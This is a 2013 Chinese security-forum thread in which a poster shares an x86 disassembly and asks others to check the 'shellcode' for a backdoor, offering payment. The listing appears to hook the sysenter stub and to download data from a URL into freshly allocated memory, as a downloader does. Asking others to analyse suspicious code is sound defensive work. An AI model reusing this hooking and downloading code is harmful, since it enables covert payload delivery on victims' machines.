首页
社区
课程
招聘
[求助]请大家帮忙检查一段shellcode有没有后门谢谢
发表于: 2013-1-22 02:50 3708

[求助]请大家帮忙检查一段shellcode有没有后门谢谢

2013-1-22 02:50
3708
00453D8C    60                          pushad
00453D8D    B8 005C4500                 mov     eax, 00455C00
00453D92    50                          push    eax
00453D93    B8 A13D4500                 mov     eax, 00453DA1
00453D98    FFD0                        call    eax
00453D9A    61                          popad
00453D9B    8BD4                        mov     edx, esp
00453D9D    0F34                        sysenter
00453D9F    C3                          retn
00453DA0    CC                          int3
00453DA1    55                          push    ebp
00453DA2    8BEC                        mov     ebp, esp
00453DA4    83EC 10                     sub     esp, 10
00453DA7    8B45 08                     mov     eax, dword ptr [ebp+8]
00453DAA    8B88 FF050000               mov     ecx, dword ptr [eax+5FF]
00453DB0    FFD1                        call    ecx
00453DB2    8B55 08                     mov     edx, dword ptr [ebp+8]
00453DB5    3B42 14                     cmp     eax, dword ptr [edx+14]
00453DB8    74 05                       je      short 00453DBF
00453DBA    E9 9E000000                 jmp     00453E5D
00453DBF    8B45 08                     mov     eax, dword ptr [ebp+8]
00453DC2    8B88 F0050000               mov     ecx, dword ptr [eax+5F0]
00453DC8    8B55 08                     mov     edx, dword ptr [ebp+8]
00453DCB    66:8B82 F4050000            mov     ax, word ptr [edx+5F4]
00453DD2    66:8901                     mov     word ptr [ecx], ax
00453DD5    8B4D 08                     mov     ecx, dword ptr [ebp+8]
00453DD8    8B91 F6050000               mov     edx, dword ptr [ecx+5F6]
00453DDE    8B45 08                     mov     eax, dword ptr [ebp+8]
00453DE1    8B88 FA050000               mov     ecx, dword ptr [eax+5FA]
00453DE7    890A                        mov     dword ptr [edx], ecx
00453DE9    8B55 08                     mov     edx, dword ptr [ebp+8]
00453DEC    8B82 F6050000               mov     eax, dword ptr [edx+5F6]
00453DF2    8B4D 08                     mov     ecx, dword ptr [ebp+8]
00453DF5    8A91 FE050000               mov     dl, byte ptr [ecx+5FE]
00453DFB    8850 04                     mov     byte ptr [eax+4], dl
00453DFE    8B45 08                     mov     eax, dword ptr [ebp+8]
00453E01    05 90030000                 add     eax, 390
00453E06    50                          push    eax
00453E07    8B4D 08                     mov     ecx, dword ptr [ebp+8]
00453E0A    8B51 10                     mov     edx, dword ptr [ecx+10]
00453E0D    52                          push    edx
00453E0E    8B45 08                     mov     eax, dword ptr [ebp+8]
00453E11    8B88 07060000               mov     ecx, dword ptr [eax+607]
00453E17    FFD1                        call    ecx
00453E19    8945 F8                     mov     dword ptr [ebp-8], eax
00453E1C    8B55 08                     mov     edx, dword ptr [ebp+8]
00453E1F    81C2 50040000               add     edx, 450
00453E25    52                          push    edx
00453E26    8B45 08                     mov     eax, dword ptr [ebp+8]
00453E29    8B48 10                     mov     ecx, dword ptr [eax+10]
00453E2C    51                          push    ecx
00453E2D    8B55 08                     mov     edx, dword ptr [ebp+8]
00453E30    8B82 07060000               mov     eax, dword ptr [edx+607]
00453E36    FFD0                        call    eax
00453E38    8945 FC                     mov     dword ptr [ebp-4], eax
00453E3B    8D4D F0                     lea     ecx, dword ptr [ebp-10]
00453E3E    51                          push    ecx
00453E3F    6A 00                       push    0
00453E41    8B55 08                     mov     edx, dword ptr [ebp+8]
00453E44    52                          push    edx
00453E45    8B45 08                     mov     eax, dword ptr [ebp+8]
00453E48    8B48 20                     mov     ecx, dword ptr [eax+20]
00453E4B    51                          push    ecx
00453E4C    6A 00                       push    0
00453E4E    6A 00                       push    0
00453E50    FF55 F8                     call    dword ptr [ebp-8]
00453E53    8945 F4                     mov     dword ptr [ebp-C], eax
00453E56    8B55 F4                     mov     edx, dword ptr [ebp-C]
00453E59    52                          push    edx
00453E5A    FF55 FC                     call    dword ptr [ebp-4]
00453E5D    8BE5                        mov     esp, ebp
00453E5F    5D                          pop     ebp
00453E60    C2 558B                     retn    8B55
00453E63    EC                          in      al, dx
00453E64    83EC 34                     sub     esp, 34
00453E67    C745 F0 00000000            mov     dword ptr [ebp-10], 0
00453E6E    C745 EC 00000000            mov     dword ptr [ebp-14], 0
00453E75    C745 D4 00000000            mov     dword ptr [ebp-2C], 0
00453E7C    C745 E8 00000000            mov     dword ptr [ebp-18], 0
00453E83    837D 08 00                  cmp     dword ptr [ebp+8], 0
00453E87    75 05                       jnz     short 00453E8E
00453E89    E9 D4020000                 jmp     00454162
00453E8E    C745 DC 00000000            mov     dword ptr [ebp-24], 0
00453E95    C745 E4 00000000            mov     dword ptr [ebp-1C], 0
00453E9C    C745 F4 00000000            mov     dword ptr [ebp-C], 0
00453EA3    C745 FC 00000000            mov     dword ptr [ebp-4], 0
00453EAA    C745 D0 00000000            mov     dword ptr [ebp-30], 0
00453EB1    8B45 08                     mov     eax, dword ptr [ebp+8]
00453EB4    C700 00000000               mov     dword ptr [eax], 0
00453EBA    8B4D 08                     mov     ecx, dword ptr [ebp+8]
00453EBD    81C1 90040000               add     ecx, 490
00453EC3    51                          push    ecx
00453EC4    8B55 08                     mov     edx, dword ptr [ebp+8]
00453EC7    8B82 03060000               mov     eax, dword ptr [edx+603]
00453ECD    FFD0                        call    eax
00453ECF    8945 D8                     mov     dword ptr [ebp-28], eax
00453ED2    837D D8 00                  cmp     dword ptr [ebp-28], 0
00453ED6    75 13                       jnz     short 00453EEB
00453ED8    8B4D 08                     mov     ecx, dword ptr [ebp+8]
00453EDB    C701 01000000               mov     dword ptr [ecx], 1
00453EE1    E9 31020000                 jmp     00454117
00453EE6    E9 2C020000                 jmp     00454117
00453EEB    8B55 08                     mov     edx, dword ptr [ebp+8]
00453EEE    81C2 F0020000               add     edx, 2F0
00453EF4    52                          push    edx
00453EF5    8B45 D8                     mov     eax, dword ptr [ebp-28]
00453EF8    50                          push    eax
00453EF9    8B4D 08                     mov     ecx, dword ptr [ebp+8]
00453EFC    8B91 07060000               mov     edx, dword ptr [ecx+607]
00453F02    FFD2                        call    edx
00453F04    8945 DC                     mov     dword ptr [ebp-24], eax
00453F07    8B45 08                     mov     eax, dword ptr [ebp+8]
00453F0A    05 30030000                 add     eax, 330
00453F0F    50                          push    eax
00453F10    8B4D D8                     mov     ecx, dword ptr [ebp-28]
00453F13    51                          push    ecx
00453F14    8B55 08                     mov     edx, dword ptr [ebp+8]
00453F17    8B82 07060000               mov     eax, dword ptr [edx+607]
00453F1D    FFD0                        call    eax
00453F1F    8945 E4                     mov     dword ptr [ebp-1C], eax
00453F22    8B4D 08                     mov     ecx, dword ptr [ebp+8]
00453F25    81C1 10030000               add     ecx, 310
00453F2B    51                          push    ecx
00453F2C    8B55 D8                     mov     edx, dword ptr [ebp-28]
00453F2F    52                          push    edx
00453F30    8B45 08                     mov     eax, dword ptr [ebp+8]
00453F33    8B88 07060000               mov     ecx, dword ptr [eax+607]
00453F39    FFD1                        call    ecx
00453F3B    8945 F4                     mov     dword ptr [ebp-C], eax
00453F3E    8B55 08                     mov     edx, dword ptr [ebp+8]
00453F41    81C2 50030000               add     edx, 350
00453F47    52                          push    edx
00453F48    8B45 D8                     mov     eax, dword ptr [ebp-28]
00453F4B    50                          push    eax
00453F4C    8B4D 08                     mov     ecx, dword ptr [ebp+8]
00453F4F    8B91 07060000               mov     edx, dword ptr [ecx+607]
00453F55    FFD2                        call    edx
00453F57    8945 FC                     mov     dword ptr [ebp-4], eax
00453F5A    8B45 08                     mov     eax, dword ptr [ebp+8]
00453F5D    05 70030000                 add     eax, 370
00453F62    50                          push    eax
00453F63    8B4D D8                     mov     ecx, dword ptr [ebp-28]
00453F66    51                          push    ecx
00453F67    8B55 08                     mov     edx, dword ptr [ebp+8]
00453F6A    8B82 07060000               mov     eax, dword ptr [edx+607]
00453F70    FFD0                        call    eax
00453F72    8945 D0                     mov     dword ptr [ebp-30], eax
00453F75    837D DC 00                  cmp     dword ptr [ebp-24], 0
00453F79    74 18                       je      short 00453F93
00453F7B    837D E4 00                  cmp     dword ptr [ebp-1C], 0
00453F7F    74 12                       je      short 00453F93
00453F81    837D F4 00                  cmp     dword ptr [ebp-C], 0
00453F85    74 0C                       je      short 00453F93
00453F87    837D FC 00                  cmp     dword ptr [ebp-4], 0
00453F8B    74 06                       je      short 00453F93
00453F8D    837D D0 00                  cmp     dword ptr [ebp-30], 0
00453F91    75 13                       jnz     short 00453FA6
00453F93    8B4D 08                     mov     ecx, dword ptr [ebp+8]
00453F96    C701 02000000               mov     dword ptr [ecx], 2
00453F9C    E9 76010000                 jmp     00454117
00453FA1    E9 71010000                 jmp     00454117
00453FA6    68 00000004                 push    4000000
00453FAB    6A 00                       push    0
00453FAD    6A 00                       push    0
00453FAF    6A 01                       push    1
00453FB1    8B55 08                     mov     edx, dword ptr [ebp+8]
00453FB4    81C2 D0040000               add     edx, 4D0
00453FBA    52                          push    edx
00453FBB    FF55 DC                     call    dword ptr [ebp-24]
00453FBE    8945 EC                     mov     dword ptr [ebp-14], eax
00453FC1    837D EC 00                  cmp     dword ptr [ebp-14], 0
00453FC5    75 13                       jnz     short 00453FDA
00453FC7    8B45 08                     mov     eax, dword ptr [ebp+8]
00453FCA    C700 11000000               mov     dword ptr [eax], 11
00453FD0    E9 42010000                 jmp     00454117
00453FD5    E9 3D010000                 jmp     00454117
00453FDA    6A 00                       push    0
00453FDC    68 00000080                 push    80000000
00453FE1    6A 00                       push    0
00453FE3    6A 00                       push    0
00453FE5    8B4D 08                     mov     ecx, dword ptr [ebp+8]
00453FE8    81C1 F0040000               add     ecx, 4F0
00453FEE    51                          push    ecx
00453FEF    8B55 EC                     mov     edx, dword ptr [ebp-14]
00453FF2    52                          push    edx
00453FF3    FF55 F4                     call    dword ptr [ebp-C]
00453FF6    8945 D4                     mov     dword ptr [ebp-2C], eax
00453FF9    837D D4 00                  cmp     dword ptr [ebp-2C], 0
00453FFD    75 13                       jnz     short 00454012
00453FFF    8B45 08                     mov     eax, dword ptr [ebp+8]
00454002    C700 12000000               mov     dword ptr [eax], 12
00454008    E9 0A010000                 jmp     00454117
0045400D    E9 05010000                 jmp     00454117
00454012    C745 F8 04000000            mov     dword ptr [ebp-8], 4
00454019    6A 00                       push    0
0045401B    8D4D F8                     lea     ecx, dword ptr [ebp-8]
0045401E    51                          push    ecx
0045401F    8D55 E0                     lea     edx, dword ptr [ebp-20]
00454022    52                          push    edx
00454023    68 05000020                 push    20000005
00454028    8B45 D4                     mov     eax, dword ptr [ebp-2C]
0045402B    50                          push    eax
0045402C    FF55 E4                     call    dword ptr [ebp-1C]
0045402F    85C0                        test    eax, eax
00454031    75 13                       jnz     short 00454046
00454033    8B4D 08                     mov     ecx, dword ptr [ebp+8]
00454036    C701 13000000               mov     dword ptr [ecx], 13
0045403C    E9 D6000000                 jmp     00454117
00454041    E9 D1000000                 jmp     00454117
00454046    837D E0 00                  cmp     dword ptr [ebp-20], 0
0045404A    75 13                       jnz     short 0045405F
0045404C    8B55 08                     mov     edx, dword ptr [ebp+8]
0045404F    C702 13000000               mov     dword ptr [edx], 13
00454055    E9 BD000000                 jmp     00454117
0045405A    E9 B8000000                 jmp     00454117
0045405F    6A 04                       push    4
00454061    68 00300000                 push    3000
00454066    8B45 E0                     mov     eax, dword ptr [ebp-20]
00454069    50                          push    eax
0045406A    6A 00                       push    0
0045406C    8B4D 08                     mov     ecx, dword ptr [ebp+8]
0045406F    8B91 0B060000               mov     edx, dword ptr [ecx+60B]
00454075    FFD2                        call    edx
00454077    8945 E8                     mov     dword ptr [ebp-18], eax
0045407A    837D E8 00                  cmp     dword ptr [ebp-18], 0
0045407E    75 13                       jnz     short 00454093
00454080    8B45 08                     mov     eax, dword ptr [ebp+8]
00454083    C700 14000000               mov     dword ptr [eax], 14
00454089    E9 89000000                 jmp     00454117
0045408E    E9 84000000                 jmp     00454117
00454093    C745 F8 00000000            mov     dword ptr [ebp-8], 0
0045409A    8B4D F8                     mov     ecx, dword ptr [ebp-8]
0045409D    3B4D E0                     cmp     ecx, dword ptr [ebp-20]
004540A0    73 36                       jnb     short 004540D8
004540A2    C745 F0 00000000            mov     dword ptr [ebp-10], 0
004540A9    8D55 F0                     lea     edx, dword ptr [ebp-10]
004540AC    52                          push    edx
004540AD    8B45 E0                     mov     eax, dword ptr [ebp-20]
004540B0    2B45 F8                     sub     eax, dword ptr [ebp-8]
004540B3    50                          push    eax
004540B4    8B4D E8                     mov     ecx, dword ptr [ebp-18]
004540B7    034D F8                     add     ecx, dword ptr [ebp-8]
004540BA    51                          push    ecx
004540BB    8B55 D4                     mov     edx, dword ptr [ebp-2C]
004540BE    52                          push    edx
004540BF    FF55 FC                     call    dword ptr [ebp-4]
004540C2    8945 CC                     mov     dword ptr [ebp-34], eax
004540C5    837D F0 00                  cmp     dword ptr [ebp-10], 0
004540C9    75 02                       jnz     short 004540CD
004540CB    EB 0B                       jmp     short 004540D8
004540CD    8B45 F8                     mov     eax, dword ptr [ebp-8]
004540D0    0345 F0                     add     eax, dword ptr [ebp-10]
004540D3    8945 F8                     mov     dword ptr [ebp-8], eax
004540D6  ^ EB C2                       jmp     short 0045409A
004540D8    8B4D F8                     mov     ecx, dword ptr [ebp-8]
004540DB    3B4D E0                     cmp     ecx, dword ptr [ebp-20]
004540DE    74 0D                       je      short 004540ED
004540E0    8B55 08                     mov     edx, dword ptr [ebp+8]
004540E3    C702 16000000               mov     dword ptr [edx], 16
004540E9    EB 2C                       jmp     short 00454117
004540EB    EB 2A                       jmp     short 00454117
004540ED    8B45 08                     mov     eax, dword ptr [ebp+8]
004540F0    8B4D E8                     mov     ecx, dword ptr [ebp-18]
004540F3    8948 04                     mov     dword ptr [eax+4], ecx
004540F6    8B55 08                     mov     edx, dword ptr [ebp+8]
004540F9    8B45 F8                     mov     eax, dword ptr [ebp-8]
004540FC    8942 08                     mov     dword ptr [edx+8], eax
004540FF    8B4D 08                     mov     ecx, dword ptr [ebp+8]
00454102    8B51 0C                     mov     edx, dword ptr [ecx+C]
00454105    8B45 E8                     mov     eax, dword ptr [ebp-18]
00454108    8942 04                     mov     dword ptr [edx+4], eax
0045410B    8B4D 08                     mov     ecx, dword ptr [ebp+8]
0045410E    8B51 0C                     mov     edx, dword ptr [ecx+C]
00454111    8B45 F8                     mov     eax, dword ptr [ebp-8]
00454114    8942 08                     mov     dword ptr [edx+8], eax
00454117    8B4D 08                     mov     ecx, dword ptr [ebp+8]
0045411A    8339 00                     cmp     dword ptr [ecx], 0
0045411D    74 1C                       je      short 0045413B
0045411F    837D E8 00                  cmp     dword ptr [ebp-18], 0
00454123    74 16                       je      short 0045413B
00454125    68 00800000                 push    8000
0045412A    6A 00                       push    0
0045412C    8B55 E8                     mov     edx, dword ptr [ebp-18]
0045412F    52                          push    edx
00454130    8B45 08                     mov     eax, dword ptr [ebp+8]
00454133    8B88 0F060000               mov     ecx, dword ptr [eax+60F]
00454139    FFD1                        call    ecx
0045413B    837D D4 01                  cmp     dword ptr [ebp-2C], 1
0045413F    7E 07                       jle     short 00454148
00454141    8B55 D4                     mov     edx, dword ptr [ebp-2C]
00454144    52                          push    edx
00454145    FF55 D0                     call    dword ptr [ebp-30]
00454148    837D EC 01                  cmp     dword ptr [ebp-14], 1
0045414C    7E 07                       jle     short 00454155
0045414E    8B45 EC                     mov     eax, dword ptr [ebp-14]
00454151    50                          push    eax
00454152    FF55 D0                     call    dword ptr [ebp-30]
00454155    8B4D 08                     mov     ecx, dword ptr [ebp+8]
00454158    8B51 0C                     mov     edx, dword ptr [ecx+C]
0045415B    8B45 08                     mov     eax, dword ptr [ebp+8]
0045415E    8B08                        mov     ecx, dword ptr [eax]
00454160    890A                        mov     dword ptr [edx], ecx
00454162    8BE5                        mov     esp, ebp
00454164    5D                          pop     ebp
00454165    C2 0400                     retn    4

帮忙的人有偿,谢谢大家了。我也不会让大家白幸苦。说到做到。

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

收藏
免费 0
支持
分享
最新回复 (2)
雪    币: 201
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
在线等,在这里先谢谢各位大哥的帮助。
2013-1-22 02:56
0
雪    币: 201
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
在线等,没有朋友在吗?
2013-1-22 03:18
0
游客
登录 | 注册 方可回帖
返回
//